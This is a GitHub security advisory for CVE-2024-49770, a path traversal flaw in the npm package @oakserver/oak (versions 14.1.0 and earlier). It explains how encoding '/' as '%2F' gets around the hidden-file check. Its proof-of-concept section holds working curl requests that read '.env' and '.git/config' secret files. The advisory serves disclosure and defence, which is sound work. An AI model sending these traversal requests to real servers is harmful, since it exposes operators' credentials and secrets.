GitHub Advisoryadvisory · npm
GHSA-qm92-93fv-vh7m Path traversal in oak allows transfer of hidden files within the served root directory
HIGH
Official page ↗
- Aliases
- CVE-2024-49770
- Ecosystem
- npm
- Packages
- @oakserver/oak
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22, CWE-35
- Reviewed
- 2024-11-01
Affected packages
• npm @oakserver/oak: <= 14.1.0 (no fix yet)
Description
Summary
By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by
encoding `/` as its URL encoded form `%2F`.
Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that
contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.
PoC
```ts
// server.ts
import { Application } from "jsr:@oak/[email protected]";
const app = new Application();
app.use(async (context, next) => {
try {
await context.send({
root: './root',
hidden: false, // default
});
} catch {
await next();
}
});
await app.listen({ port: 8000 });
```
In terminal:
```bash
setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops > root/.git/config
start server
deno run -A server.ts
in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
```
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
Related
Alias · CVE (1)
- CVE-2024-49770 `oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. vulnerability
References
- https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m web
- https://nvd.nist.gov/vuln/detail/CVE-2024-49770 advisory
- https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209 web
- https://github.com/oakserver/oak package
- https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125 web
- https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25 web